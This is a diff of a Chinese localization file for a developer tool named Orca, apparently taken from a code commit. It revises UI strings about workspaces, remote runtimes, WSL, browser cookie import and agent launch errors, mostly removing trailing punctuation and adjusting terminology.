-          "localBaseRefRefreshTurnOffTooltip": "关闭 Orca 设置 {{value0}}。创建工作区时 Orca 将不再更新本地 {{value1}}，此警告也不会再出现。新工作区不受影响。可随时在设置 › Git 中重新开启。",
+          "localBaseRefRefreshTurnOffTooltip": "关闭 Orca 设置 {{value0}}。创建工作区时 Orca 将不再更新本地 {{value1}}，此警告也不会再出现。新工作区不受影响。可随时在设置 › Git 中重新开启",
           "localBaseRefUnshallow": "取消浅克隆",
           "localBaseRefUnshallowFailed": "无法为此工作区打开终端",
-          "localBaseRefUnshallowFailedDescription": "请改为在此仓库的终端中运行 {{value0}}。",
+          "localBaseRefUnshallowFailedDescription": "请改为在此仓库的终端中运行 {{value0}}",
           "localBaseRefRefreshTurnedOff": "Orca 将不再更新本地 {{value0}}",
-          "localBaseRefRefreshTurnedOffDescription": "可在设置 › {{value0}} 中重新开启。",
+          "localBaseRefRefreshTurnedOffDescription": "可在设置 › {{value0}} 中重新开启",
           "localBaseRefRefreshTurnOffFailed": "无法关闭 {{value0}}",
           "0216895fb5": "删除分支失败",
           "5366d13eec": "工作区已删除，分支已保留",
           "2e17f825d4": "工作树已删除，分支已保留",
-          "78e08cd877": "Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交。",
-          "3b57982bf6": "删除工作区\"{{value1}}\"后，Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交。",
-          "81f13f48d2": "删除工作树\"{{value1}}\"后，Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交。",
-          "runtimeScopeForbiddenTitle": "此连接具有受限（移动端）访问权限",
-          "runtimeScopeForbiddenDescription": "移动端范围的配对无法使用工作区。请通过设置 → 远程 Orca 服务器 → 分享此 Orca 服务器中的浏览器访问链接重新连接。",
-          "createdWithoutParentNesting": "已创建，但未嵌套在“{{value0}}”下",
+          "78e08cd877": "Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交",
+          "3b57982bf6": "删除工作区\"{{value1}}\"后，Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交",
+          "81f13f48d2": "删除工作树\"{{value1}}\"后，Git 无法安全删除分支\"{{value0}}\"，因此 Orca 将其保留以避免丢失本地提交",
+          "runtimeScopeForbiddenTitle": "此连接具有受限(移动端)访问权限",
+          "runtimeScopeForbiddenDescription": "移动端范围的配对无法使用工作区，请通过设置 → 远程 Orca 服务器 → 分享此 Orca 服务器中的浏览器访问链接重新连接",
+          "createdWithoutParentNesting": "已创建，但未嵌套在\"{{value0}}\"下",
           "createdWithoutParentNestingUnnamed": "已创建，但未嵌套在所选父工作树下",
-          "createdWithoutParentNestingDetail": "父工作树已不可用。您可以从工作区菜单中重新设置。",
-          "c6cf133786": "该工作区不再可用。",
-          "a17f4d2e93": "无法更新此工作区。",
-          "preservedBranchCleanupHostAmbiguous": "“{{value0}}”的多个保留​​分支清理正在等待；指定主机。",
+          "createdWithoutParentNestingDetail": "父工作树已不可用，您可以从工作区菜单中重新设置",
+          "c6cf133786": "此工作区已不可用",
+          "a17f4d2e93": "无法更新此工作区",
+          "preservedBranchCleanupHostAmbiguous": "\"{{value0}}\" 有多个待处理的保留分支清理，请指定主机",
           "metadata": {
             "worktree": {
               "meta": {
                 "persist": {
-                  "877e3638d8": "更新远程运行时以更改此工作区的链接议题",
-                  "4367540861": "更新远程运行时以链接 Linear 议题",
+                  "877e3638d8": "更新远程运行时以更改此工作区关联的议题",
+                  "4367540861": "更新远程运行时以关联 Linear 议题",
                   "github": {
                     "pr": {
-                      "suppression": "更新远程运行时以取消链接 GitHub 拉取请求"
+                      "suppression": "更新远程运行时以取消关联 GitHub 拉取请求"
                     }
                   }
                 }
@@ -847,27 +920,27 @@
           }
         },
         "repos": {
-          "2975400634": "请更新 Orca 服务器，以便在此运行时打开非 Git 文件夹。",
+          "2975400634": "请更新 Orca 服务器，以便在此运行时打开非 Git 文件夹",
           "b7e14472ae": "添加文件夹失败",
-          "e649269645": "使用\"添加项目\"在所选主机上输入路径。",
+          "e649269645": "使用\"添加项目\"在所选主机上输入路径",
           "c6e022ddfc": "添加项目失败",
           "90d129b48b": "文件夹已添加",
           "8bb3ad7935": "项目已添加",
           "a8e4b3af5b": "项目已添加过了",
-          "6d3318e813": "导入仓库失败",
+          "6d3318e813": "导入存储库失败",
           "3be0f7df04": "无法在所选运行时打开文件夹",
-          "15cf5319ec": "已在 {{hostName}} 上检查 {{path}}，但该主机未报告可用文件夹。",
+          "15cf5319ec": "已在 {{hostName}} 上检查 {{path}}，但该主机未报告可用文件夹",
           "2dcd706774": "该项目也存在于另一个配置文件中",
           "presenceProfileOverflow": "{{names}} 及另外 {{count}} 个",
-          "removeProjectFailed": "删除项目失败",
-          "wslFilesystemBoundaryTitle": "该项目存储在 Windows 驱动器上",
-          "wslFilesystemBoundaryDescription": "该项目的 Git 在 {{distro}} 中运行，它通过 WSL 文件系统桥到达 Windows 驱动器。预计 git 的速度比存储在 {{distro}} 内的副本慢大约 20 倍。",
+          "removeProjectFailed": "移除项目失败",
+          "wslFilesystemBoundaryTitle": "此项目存储在 Windows 驱动器上",
+          "wslFilesystemBoundaryDescription": "此项目的 Git 在 {{distro}} 中运行，并通过 WSL 文件系统桥访问 Windows 驱动器，其速度预计比存储在 {{distro}} 内部的副本慢约 20 倍",
           "moveToGroupOtherHost": "无法将项目移动到分组",
-          "moveToGroupOtherHostDesc": "运行此项目的计算机上没有此分组。项目只能加入保存在其所在计算机上的分组。",
+          "moveToGroupOtherHostDesc": "运行此项目的计算机上没有此分组，项目只能加入保存在其所在计算机上的分组",
           "pendingRemovalRefused": "服务器保留了你在其离线期间移除的项目",
-          "removeProjectHostUnreachable": "无法连接其服务器。现在从此桌面移除，Orca 会在服务器重新连接后将其从服务器移除。",
+          "removeProjectHostUnreachable": "无法连接其服务器。现在从此桌面移除，Orca 会在服务器重新连接后将其从服务器移除",
           "removeProjectLocallyNow": "现在从此桌面移除",
-          "removeProjectHostDisconnected": "其服务器已断开连接。现在从此桌面移除，重新连接后 Orca 会将其从服务器移除。"
+          "removeProjectHostDisconnected": "其服务器已断开连接。现在从此桌面移除，重新连接后 Orca 会将其从服务器移除"
         },
         "settings": {
           "e12dab333b": "切换服务器失败"
@@ -877,7 +950,7 @@
           "53883b7bc3": "无法发送至 {{value0}}"
         },
         "jira": {
-          "856083302c": "Jira 连接已被新的请求取代。"
+          "856083302c": "Jira 连接已被新的请求取代"
         },
         "orca": {
           "profiles": {
@@ -900,8 +973,8 @@
         },
         "runtime": {
           "status": {
-            "runtimeHostDisconnectedDescription": "检查 Orca 是否正在该服务器上运行并且您的网络连接是否正常工作，然后重试。",
-            "runtimeHostUnreachableNamed": "无法到达 {{hostName}}",
+            "runtimeHostDisconnectedDescription": "请确认此服务器上 Orca 正在运行且网络正常，然后重试",
+            "runtimeHostUnreachableNamed": "无法访问 {{hostName}}",
             "runtimeHostUnreachable": "无法访问 Orca 服务器",
             "tryAgain": "重试"
           }
@@ -910,10 +983,13 @@
           "quick": {
             "command": {
               "hosts": {
-                "5b7d781d67": "保存快速命令失败"
+                "5b7d781d67": "保存快捷命令失败"
               }
             }
           }
+        },
+        "terminalQuickCommandHosts": {
+          "saveFailed": "保存快捷命令失败"
         }
       },
       "pluginNewFile": {
@@ -975,7 +1051,7 @@
           "freebuff_label": "Freebuff",
           "dsh_label": "DeepSeek Harness",
           "qoder_label": "Qoder CLI",
-          "qoder_cn_label": "Qoder CLI China"
+          "qoder_cn_label": "Qoder CLI 中国版"
         },
         "skill": {
           "cli": {
@@ -983,21 +1059,21 @@
               "79371593b0": "Orca CLI 在 PATH 上尚不可见",
               "e99d7dc36f": "Orca CLI注册需要注意",
               "2db0bd7515": "Orca CLI 注册不可用",
-              "8d6eedf97e": "无法在 PATH 中注册 Orca CLI。",
-              "0f116999f1": "在安装之前重新启动 shell 或将 Orca CLI 目录添加到 PATH。",
-              "15cbedc3e3": "在运行智能体技能设置之前安装 Orca CLI。",
+              "8d6eedf97e": "无法在 PATH 中注册 Orca CLI",
+              "0f116999f1": "在安装之前重新启动 shell 或将 Orca CLI 目录添加到 PATH",
+              "15cbedc3e3": "在运行代理技能设置之前安装 Orca CLI",
               "windowsPathUnknown": "Orca 无法检查您的 Windows 用户 PATH",
-              "refreshCliRegistration": "请刷新 CLI 注册状态后重试。"
+              "refreshCliRegistration": "请刷新 CLI 注册状态后重试"
             }
           }
         }
       },
       "remotePairingCopy": {
-        "invalidInput": "请输入 Orca 访问链接或配对代码。",
-        "mobileOnly": "此链接仅授予移动端访问权限。请为另一个 Orca 客户端生成链接。",
-        "invalidDestination": "此访问链接包含无效的目标地址。",
-        "unsupportedDestination": "此访问链接包含不受支持的目标地址。",
-        "nonConnectableDestination": "此访问链接包含无法连接的目标地址。",
+        "invalidInput": "请输入 Orca 访问链接或配对代码",
+        "mobileOnly": "此链接仅授予移动端访问权限，请为另一个 Orca 客户端生成链接",
+        "invalidDestination": "此访问链接包含无效的目标地址",
+        "unsupportedDestination": "此访问链接包含不受支持的目标地址",
+        "nonConnectableDestination": "此访问链接包含无法连接的目标地址",
         "loopback": "环回地址",
         "tailscale": "Tailscale 地址",
         "lan": "专用 LAN 地址",
@@ -1015,12 +1091,12 @@
         "checks": {
           "agent": {
             "launch": {
-              "027228a06b": "无法找到用于这些检查的工作区。",
-              "03c1d61f83": "无法打开附加到这些检查的工作区。",
-              "dfb4dd7c00": "无法找到附加到这些检查的工作区。",
-              "9f00d7df0c": "检查提示为空。请更新源代码管理 AI 设置。",
-              "2ebf794906": "此工作区主机上未检测到已启用的 AI 智能体。",
-              "4c7f783a7a": "保存的检查智能体在此工作区主机上不可用。"
+              "027228a06b": "无法找到用于这些检查的工作区",
+              "03c1d61f83": "无法打开附加到这些检查的工作区",
+              "dfb4dd7c00": "无法找到附加到这些检查的工作区",
+              "9f00d7df0c": "检查提示为空，请更新源代码管理 AI 设置",
+              "2ebf794906": "此工作区主机上未检测到已启用的 AI 代理",
+              "4c7f783a7a": "保存的检查代理在此工作区主机上不可用"
             }
           }
         }
@@ -1039,26 +1115,26 @@
           "in": {
             "new": {
               "tab": {
-                "11cce5cc77": "无法在新终端中启动 {{value0}}。",
-                "a5a1f7033f": "您的 {{value0}} 未发送 - 智能体准备好后将其粘贴。"
+                "11cce5cc77": "无法在新终端中启动 {{value0}}",
+                "a5a1f7033f": "您的 {{value0}} 未发送 - 代理准备好后将其粘贴"
               }
             }
           },
           "background": {
             "session": {
-              "4ca0651d56": "您的自动化提示未发送 - 打开工作区并粘贴它。"
+              "4ca0651d56": "您的自动化提示未发送 - 打开工作区并粘贴它"
             }
           }
         },
         "work": {
           "item": {
             "direct": {
-              "3de6371df3": "无法构建智能体启动命令。",
-              "67e103dd60": "工作区已创建但无法激活。",
+              "3de6371df3": "无法构建代理启动命令",
+              "67e103dd60": "工作区已创建但无法激活",
               "19c7683acf": "所选智能体不可用。请检查工作区的智能体设置，然后重试。",
               "8bc45efdbc": "无法读取拉取请求。请确认你可以打开它，然后重试。",
               "agent": {
-                "ceeeb509b5": "智能体启动时间太长。工作区已准备就绪 - 当智能体空闲时粘贴 {{value0}}。"
+                "ceeeb509b5": "代理启动时间太长，工作区已准备就绪 - 当代理空闲时粘贴 {{value0}}"
               }
             }
           }
@@ -1068,7 +1144,18 @@
         "path": {
           "open": {
             "guard": {
-              "edc1908653": "无法在本地操作系统中打开远程路径。"
+              "edc1908653": "无法在本地操作系统中打开远程路径"
+            }
+          }
+        },
+        "file": {
+          "manager": {
+            "label": {
+              "eb052ab0f6": "Finder",
+              "f2aa906c95": "文件资源管理器",
+              "8247848395": "文件管理器",
+              "85cc2c844c": "在 {{name}} 中打开",
+              "57b632c0bd": "在以下位置打开："
             }
           }
         }
@@ -1086,7 +1173,7 @@
         "mobile": {
           "emulator": {
             "tab": {
-              "bf4f2a8a72": "无法启动模拟器。请检查 iOS 或 Android 模拟器设置，然后尝试其他设备。"
+              "bf4f2a8a72": "无法启动模拟器，请检查 iOS 或 Android 模拟器设置，然后尝试其他设备"
             }
           }
         }
@@ -1099,11 +1186,11 @@
             "bddc4c09b8": "运行分阶段工作流程",
             "ab0e9803b7": "移交给另一个工作树",
             "5e0d489fe1": "移交活动任务",
-            "handoffSummary": "将所有权移交给另一个有足够上下文的智能体以继续。",
-            "worktreeHandoffSummary": "将工作移至已在不同分支中运行的智能体。",
-            "childSequenceSummary": "当每个阶段依赖于最后一个阶段时，依次使用子智能体。",
-            "childParallelSummary": "在子智能体之间拆分非重叠的调查或实施任务。",
-            "prSplitSummary": "为每个子智能体提供自己的工作树，以便并行实施保持可审查。"
+            "handoffSummary": "将所有权移交给另一个有足够上下文可继续的代理",
+            "worktreeHandoffSummary": "将工作移交给已在另一分支运行的代理",
+            "childSequenceSummary": "当每个阶段依赖上一阶段时，依次使用子代理",
+            "childParallelSummary": "将互不重叠的调查或实现任务拆分给子代理",
+            "prSplitSummary": "为每个子代理分配独立工作树，以便并行实现仍可评审"
           }
         }
       },
@@ -1114,9 +1201,9 @@
             "a7150a17bc": "人类",
             "27ce73211c": "全部",
             "empty": {
-              "bot": "没有机器人评论。",
-              "human": "没有人类评论。",
-              "all": "还没有评论。"
+              "bot": "没有机器人评论",
+              "human": "没有人类评论",
+              "all": "还没有评论"
             }
           }
         },
@@ -1132,7 +1219,7 @@
         "sleeping": {
           "agent": {
             "session": {
-              "f235f604fd": "无法恢复此智能体会话。"
+              "f235f604fd": "无法恢复此代理会话"
             }
           }
         }
@@ -1142,17 +1229,17 @@
           "agent": {
             "action": {
               "plan": {
-                "3f0ea9aa0d": "无法构建智能体启动命令。",
-                "46f1a2c9bd": "提示词输入为空。",
-                "8eb541cc83": "此工作区主机上未检测到所选智能体。",
-                "b96e091fc9": "选定的智能体在“设置”中被禁用。",
-                "a7ac8717c7": "在开始之前选择一个智能体。"
+                "3f0ea9aa0d": "无法构建代理启动命令",
+                "46f1a2c9bd": "提示词输入为空",
+                "8eb541cc83": "此工作区主机上未检测到所选代理",
+                "b96e091fc9": "选定的代理在\"设置\"中被禁用",
+                "a7ac8717c7": "在开始之前选择一个代理"
               }
             }
           },
           "generation": {
             "plan": {
-              "dc480d5897": "提示词输入为空。"
+              "dc480d5897": "提示词输入为空"
             }
           }
         }
@@ -1160,8 +1247,8 @@
       "sparse": {
         "preset": {
           "draft": {
-            "5915a0a1f6": "使用仓库相对目录，而不是根目录、绝对路径或父段。",
-            "efc05d1820": "添加至少一个目录。"
+            "5915a0a1f6": "使用仓库相对目录，而不是根目录、绝对路径或父段",
+            "efc05d1820": "添加至少一个目录"
           }
         }
       },
@@ -1179,7 +1266,7 @@
         "create": {
           "error": {
             "format": {
-              "37cf0bc991": "Orca 无法解析此工作区的可用基础引用。",
+              "37cf0bc991": "Orca 无法解析此工作区的可用基础引用",
               "64555d0014": "未找到基础分支"
             }
           }
@@ -1187,8 +1274,8 @@
         "browser": {
           "tab": {
             "open": {
-              "urlFailed": "无法打开网址。",
-              "searchFailed": "无法使用 {{value0}} 搜索。"
+              "urlFailed": "无法打开网址",
+              "searchFailed": "无法使用 {{value0}} 搜索"
             }
           }
         }
@@ -1204,14 +1291,14 @@
           "notDirectory": "路径不是文件夹",
           "ambiguousConnection": "无法确定连接",
           "unavailable": "无法检查文件夹",
-          "unrecognized": "文件夹无法使用"
+          "unrecognized": "文件夹不可用"
         },
         "description": {
-          "missing": "Orca 找不到 {{path}}。请移除并重新导入此文件夹工作区。",
-          "notDirectory": "{{path}} 存在，但它不是文件夹。",
-          "ambiguousConnection": "Orca 无法判断哪个 SSH 连接拥有此文件夹范围。",
-          "unavailable": "Orca 现在无法验证此文件夹。请检查运行时或 SSH 连接，然后重试。",
-          "unrecognized": "Orca 无法使用 {{path}}，此版本无法识别原因。更新 Orca 以查看详细信息。"
+          "missing": "Orca 找不到 {{path}}，请移除并重新导入此文件夹工作区",
+          "notDirectory": "{{path}} 存在，但它不是文件夹",
+          "ambiguousConnection": "Orca 无法判断哪个 SSH 连接拥有此文件夹范围",
+          "unavailable": "Orca 现在无法验证此文件夹，请检查运行时或 SSH 连接，然后重试，",
+          "unrecognized": "Orca 无法使用 {{path}}，且此版本无法识别具体原因，请更新 Orca 以查看详情"
         },
         "createError": {
           "title": {
@@ -1222,25 +1309,25 @@
             "generic": "创建文件夹工作区失败"
           },
           "description": {
-            "missing": "Orca 找不到 {{path}}。请移除并重新导入该文件夹。",
-            "notDirectory": "{{path}} 存在，但它不是文件夹。",
-            "ambiguousConnection": "Orca 无法判断哪个 SSH 连接拥有此文件夹范围。",
-            "unavailable": "Orca 现在无法验证此文件夹。请检查运行时或 SSH 连接，然后重试。"
+            "missing": "Orca 找不到 {{path}}，请移除并重新导入该文件夹",
+            "notDirectory": "{{path}} 存在，但它不是文件夹",
+            "ambiguousConnection": "Orca 无法判断哪个 SSH 连接拥有此文件夹范围",
+            "unavailable": "Orca 现在无法验证此文件夹，请检查运行时或 SSH 连接，然后重试"
           }
         }
       },
       "projectSkillRuntime": {
-        "wslUnavailable": "项目运行时需要 WSL 才能安装此技能。",
-        "distroRequired": "安装此技能前，请为此项目选择一个 WSL 发行版。",
-        "distroMissing": "所选 WSL 发行版不可用。请选择可用发行版，或将此项目切换到 Windows。",
-        "wslDefault": "WSL 默认"
+        "wslUnavailable": "项目运行时需要 WSL 才能安装此技能",
+        "distroRequired": "安装此技能前，请为此项目选择一个 WSL 发行版",
+        "distroMissing": "所选 WSL 发行版不可用，请选择可用发行版，或将此项目切换到 Windows",
+        "wslDefault": "WSL"
       },
       "sidebarWorktreeActivation": {
         "wakeEphemeralVmFailed": "唤醒临时虚拟机工作区失败"
       },
       "ephemeralVmWorkspaceTarget": {
         "projectRootRegistrationFailed": "在运行时上注册环境模板创建的项目根目录失败",
-        "provisionedRootRequiresSsh": "预配根配方当前需要直接 SSH 连接。"
+        "provisionedRootRequiresSsh": "Provisioned-root 配方目前需要直接 SSH 连接"
       },
       "blocked": {
         "notification": {
@@ -1257,22 +1344,22 @@
             "moveState": "推进议题",
             "attachPr": "附加评审链接",
             "triageFollowups": "分类处理并创建跟进项",
-            "readTicketSummary": "开始工作前，获取关联 Linear 议题的完整上下文。",
-            "readTicketPrompt": "使用 {{value0}} 读取此工作树关联的 Linear 议题，然后在开始前总结目标和验收标准。",
-            "postUpdateSummary": "将进度或完成情况总结评论回 Linear 议题。",
-            "postUpdatePrompt": "使用 {{value0}} 在关联的 Linear 议题上发布完成更新，说明变更内容及验证方式。",
-            "moveStateSummary": "随着工作进展推进 Linear 工作流状态。",
-            "moveStatePrompt": "变更已就绪后，使用 {{value0}} 将关联的 Linear 议题移至 In Review。",
-            "attachPrSummary": "创建拉取或合并请求时，将其关联到 Linear 议题。",
-            "attachPrPrompt": "使用 {{value0}} 将此拉取或合并请求附加到关联的 Linear 议题。",
-            "triageFollowupsSummary": "设置负责人、优先级或预估工时，并创建带父级关联的后续议题。",
-            "triageFollowupsPrompt": "使用 {{value0}} 对关联的 Linear 议题进行分类处理 — 设置优先级和预估工时 — 并为延后清理创建带父级关联的后续议题。"
+            "readTicketSummary": "开始工作前，获取关联 Linear 议题的完整上下文",
+            "readTicketPrompt": "使用 {{value0}} 读取此工作树关联的 Linear 议题，然后在开始前总结目标和验收标准",
+            "postUpdateSummary": "将进度或完成情况总结评论回 Linear 议题",
+            "postUpdatePrompt": "使用 {{value0}} 在关联的 Linear 议题上发布完成更新，说明变更内容及验证方式",
+            "moveStateSummary": "随着工作进展推进 Linear 工作流状态",
+            "moveStatePrompt": "变更准备就绪后，使用 {{value0}} 将关联的 Linear 议题移至“评审中”状态",
+            "attachPrSummary": "创建拉取或合并请求时，将其关联到 Linear 议题",
+            "attachPrPrompt": "使用 {{value0}} 将此拉取或合并请求附加到关联的 Linear 议题",
+            "triageFollowupsSummary": "设置负责人、优先级或预估工时，并创建带父级关联的后续议题",
+            "triageFollowupsPrompt": "使用 {{value0}} 对关联的 Linear 议题进行分类处理 — 设置优先级和预估工时 — 并为延后清理创建带父级关联的后续议题"
           }
         },
         "issue": {
           "workspace": {
             "open": {
-              "4f2c1d8a3b": "无法打开关联到此议题的工作区。"
+              "4f2c1d8a3b": "无法打开关联到此议题的工作区"
             }
           }
         }
@@ -1280,8 +1367,8 @@
       "codex": {
         "session": {
           "restart": {
-            "4bd4a3a9c7": "System default",
-            "9f0b1c2d3e": "Codex account"
+            "4bd4a3a9c7": "系统默认",
+            "9f0b1c2d3e": "Codex 账户"
           }
         }
       },
@@ -1289,114 +1376,114 @@
         "cookie": {
           "import": {
             "toast": {
-              "undecryptableAppBound": "Orca 无法解密此浏览器 cookie 的 {{value0}}，因为它们使用应用程序绑定加密。您可以使用“从文件...”从文件导入 cookie。",
-              "undecryptableAppBoundMixed": "Orca 无法解密该浏览器 cookie 的 {{value0}}，因为它们使用应用程序绑定加密；由于其他原因，{{value1}} more 无法解密。您可以使用“从文件...”从文件导入 cookie。",
-              "undecryptableKeyring": "由于系统密钥环不可用，{{value0}} cookie 无法解密。解锁您的登录密钥环（或安装 Secret Service 提供程序，例如 gnome-keyring）并再次导入。",
-              "undecryptableKeyringMixed": "由于系统密钥环不可用，{{value0}} cookie 无法解密；由于其他原因，{{value1}} more 无法解密。解锁您的登录密钥环（或安装 Secret Service 提供程序，例如 gnome-keyring）并再次导入。",
-              "secretToolMissing": "Orca 无法读取 {{browser}} 的 {{count}} 个加密 Cookie，因为未安装 secret-tool。请安装 libsecret-tools（或你的发行版的等效软件包）后重新导入。",
-              "cookieKeyLocked": "Orca 无法读取 {{browser}} 的 {{count}} 个加密 Cookie，因为系统密钥环已锁定或拒绝访问。请解锁你的登录密钥环，并在提示时允许访问，然后重新导入。",
-              "cookieKeyUnavailable": "Orca 无法读取 {{browser}} 的 {{count}} 个加密 Cookie，因为无法读取 Cookie 加密密钥。请重试导入、使用“从文件…”导入 Cookie，或直接在 Orca 中登录。",
-              "otherUndecryptableCookies": "另有 {{count}} 个 Cookie 因其他原因无法解密。",
-              "undecryptableUnknown": "{{value0}} cookie 无法解密并被跳过。完全关闭源浏览器并再次尝试导入。",
-              "unrecognizedWarning": "cookie 导入结束时出现此版本的 Orca 无法识别的警告。更新 Orca 以查看详细信息，然后在依赖其 cookie 之前检查此配置文件。",
-              "undecryptableUnrecognizedReason": "{{value0}} cookies 无法解密并被跳过，原因是此版本的 Orca 无法识别。更新 Orca 以查看详细信息，然后再次尝试导入。",
-              "cookiesSkipped": "已跳过 {{value0}} 个 Cookie。",
-              "partitionSkippedCounts": "无法读取网站分区的 Cookie：{{value0}}。同时跳过的相关 Cookie：{{value1}}。再次登录前，请在此配置文件中检查这些网站。",
-              "partitionSkipped": "{{value0}} cookie 未导入，因为无法读取其站点分区。在 Orca 中再次登录这些网站。",
-              "locationClientHosted": "从此设备读取并存储在此处以供 {{value0}} 工作区使用。",
-              "locationRemoteHost": "从 {{value0}} 上的浏览​​器读取并存储在那里。",
-              "googleCookiesSkippedLocal": "未导入 Google cookie。使用此配置文件在 Orca 中打开浏览器，然后登录 Google。",
-              "googleCookiesSkippedClientHosted": "未导入 Google cookie。使用此配置文件在 {{value0}} 工作区中打开浏览器选项卡 - 它在此设备上打开 - 然后登录 Google。",
-              "googleCookiesSkippedRemoteWorkspace": "未导入 Google cookie。使用此配置文件在 {{value0}} 工作区中打开浏览器选项卡，然后登录 Google。"
+              "undecryptableAppBound": "Orca 无法解密此浏览器中使用应用绑定加密的 {{value0}} 个 Cookie，你可以使用\"从文件…\"导入 Cookie",
+              "undecryptableAppBoundMixed": "Orca 无法解密此浏览器中使用应用绑定加密的 {{value0}} 个 Cookie，另有 {{value1}} 个 Cookie 因其他原因无法解密，你可以使用\"从文件…\"导入 Cookie",
+              "undecryptableKeyring": "由于系统密钥环不可用，{{value0}} 个 Cookie 无法解密，请解锁登录密钥环（或安装 gnome-keyring 等 Secret Service 提供程序）后重新导入",
+              "undecryptableKeyringMixed": "由于系统密钥环不可用，{{value0}} 个 Cookie 无法解密，另有 {{value1}} 个 Cookie 因其他原因无法解密，请解锁登录密钥环（或安装 gnome-keyring 等 Secret Service 提供程序）后重新导入",
+              "secretToolMissing": "Orca 无法读取 {{browser}} 的 {{count}} 个加密 Cookie，因为未安装 secret-tool。请安装 libsecret-tools（或你的发行版的等效软件包）后重新导入",
+              "cookieKeyLocked": "Orca 无法读取 {{browser}} 的 {{count}} 个加密 Cookie，因为系统密钥环已锁定或拒绝访问。请解锁你的登录密钥环，并在提示时允许访问，然后重新导入",
+              "cookieKeyUnavailable": "Orca 无法读取 {{browser}} 的 {{count}} 个加密 Cookie，因为无法读取 Cookie 加密密钥。请重试导入、使用“从文件…”导入 Cookie，或直接在 Orca 中登录",
+              "otherUndecryptableCookies": "另有 {{count}} 个 Cookie 因其他原因无法解密",
+              "undecryptableUnknown": "{{value0}} 个 Cookie 无法解密并已跳过，请完全关闭源浏览器后重新导入",
+              "unrecognizedWarning": "Cookie 导入已完成，但出现了此版本 Orca 无法识别的警告，请更新 Orca 以查看详情，并在使用此配置文件的 Cookie 前进行检查",
+              "undecryptableUnrecognizedReason": "由于此版本 Orca 无法识别的原因，{{value0}} 个 Cookie 无法解密并已跳过，请更新 Orca 以查看详情，然后重试导入",
+              "cookiesSkipped": "已跳过 {{value0}} 个 Cookie",
+              "partitionSkippedCounts": "无法读取网站分区的 Cookie：{{value0}}。同时跳过的相关 Cookie：{{value1}}。再次登录前，请在此配置文件中检查这些网站",
+              "partitionSkipped": "由于无法读取站点分区，{{value0}} 个 Cookie 未被导入，请在 Orca 中重新登录这些站点",
+              "locationClientHosted": "已从此设备读取，并存储在此设备上的 {{value0}} 工作区中",
+              "locationRemoteHost": "已从 {{value0}} 上的浏览器读取并存储在该设备上",
+              "googleCookiesSkippedLocal": "未导入 Google Cookie，请在 Orca 中使用此配置文件打开浏览器，然后登录 Google",
+              "googleCookiesSkippedClientHosted": "未导入 Google Cookie，请在 {{value0}} 工作区中使用此配置文件打开浏览器标签页（该标签页会在此设备上打开），然后登录 Google",
+              "googleCookiesSkippedRemoteWorkspace": "未导入 Google Cookie，请在 {{value0}} 工作区中使用此配置文件打开浏览器标签页，然后登录 Google"
             }
           }
         }
       },
       "pluginCommandKeybindings": {
-        "group": "Plugins"
+        "group": "插件"
       },
       "feedback": {
         "image": {
           "attachments": {
             "fallbackName": "图片附件",
-            "unsupportedType": "{{fileName}} 不是受支持的图片类型。",
-            "empty": "{{fileName}} 为空。",
-            "tooLarge": "{{fileName}} 大于 {{maxSize}}。",
-            "tooMany": "最多可附加 {{maxCount}} 张图片。",
-            "dimensionsTooLarge": "{{fileName}} 的尺寸过大，无法安全预览。",
-            "invalidImage": "{{fileName}} 不是有效的受支持图片。",
-            "additionalErrors": "还有 {{count}} 张图片无法附加。",
-            "totalTooLarge": "{{fileName}} 将使附件总大小超过 {{maxSize}}。",
-            "compressed": "已将 {{fileName}} 从 {{originalSize}} 压缩到 {{size}}，以符合附件大小限制。"
+            "unsupportedType": "{{fileName}} 不是受支持的图片类型",
+            "empty": "{{fileName}} 为空",
+            "tooLarge": "{{fileName}} 大于 {{maxSize}}",
+            "tooMany": "最多可附加 {{maxCount}} 张图片",
+            "dimensionsTooLarge": "{{fileName}} 的尺寸过大，无法安全预览",
+            "invalidImage": "{{fileName}} 不是有效的受支持图片",
+            "additionalErrors": "还有 {{count}} 张图片无法附加",
+            "totalTooLarge": "{{fileName}} 将使附件总大小超过 {{maxSize}}",
+            "compressed": "已将 {{fileName}} 从 {{originalSize}} 压缩到 {{size}}，以符合附件大小限制"
           }
         }
       },
       "activateAiVaultStructuredSession": {
-        "unavailable": "结构化智能体会话尚不可用。稍后重试。",
-        "gone": "此聊天不再在此主机上，因此无法在此处重新打开。",
-        "hostCannotOpen": "在 Orca 更新之前，无法重新打开此聊天。",
+        "unavailable": "结构化代理会话尚不可用，请稍后重试",
+        "gone": "此聊天已不在这台主机上，无法在此重新打开",
+        "hostCannotOpen": "更新 Orca 后才能重新打开此聊天",
         "worktreeDeleted": "工作树已删除。",
         "folderWorkspaceRemoved": "文件夹工作区已移除。"
       },
       "ephemeralVmWorktreeCreation": {
-        "sparseCheckoutUnsupported": "预配置根配方不支持稀疏结帐。"
+        "sparseCheckoutUnsupported": "Provisioned-root 配方不支持稀疏检出"
       },
       "worktreeJumpNavigation": {
-        "filteredNotice": "该工作树被侧边栏过滤器隐藏。工作区已打开，但未在空间中显示。"
+        "filteredNotice": "此工作树已被侧边栏筛选条件隐藏，工作区已打开，但不会显示在\"空间\"中"
       },
       "file": {
         "preview": {
-          "webClientUnavailable": "文档预览在 Web 客户端中不可用。"
+          "webClientUnavailable": "文档预览在 Web 客户端中不可用"
         }
       },
       "clipboardWriteFailure": {
-        "tooLarge": "文字太大，无法复制。"
+        "tooLarge": "文本过大，无法复制"
       },
       "dropFailureReason": {
-        "tooLarge": "文件过大，无法上传到此主机。",
-        "noSpace": "主机磁盘空间已用尽。",
-        "changed": "文件在上传过程中发生了变化。请重试。",
-        "hostUnreachable": "到主机的连接已变化或断开。请重试。",
-        "disconnected": "主机已断开连接。",
-        "unknownOne": "无法上传此文件。",
-        "unknownMany": "无法上传这些文件。"
+        "tooLarge": "文件过大，无法上传到此主机",
+        "noSpace": "主机磁盘空间已用尽",
+        "changed": "文件在上传过程中发生了变化。请重试",
+        "hostUnreachable": "到主机的连接已变化或断开。请重试",
+        "disconnected": "主机已断开连接",
+        "unknownOne": "无法上传此文件",
+        "unknownMany": "无法上传这些文件"
       },
       "dropSkipReason": {
-        "missing": "该文件已不在原始路径。",
-        "symlink": "无法附加符号链接。",
-        "permissionDenied": "没有访问权限。",
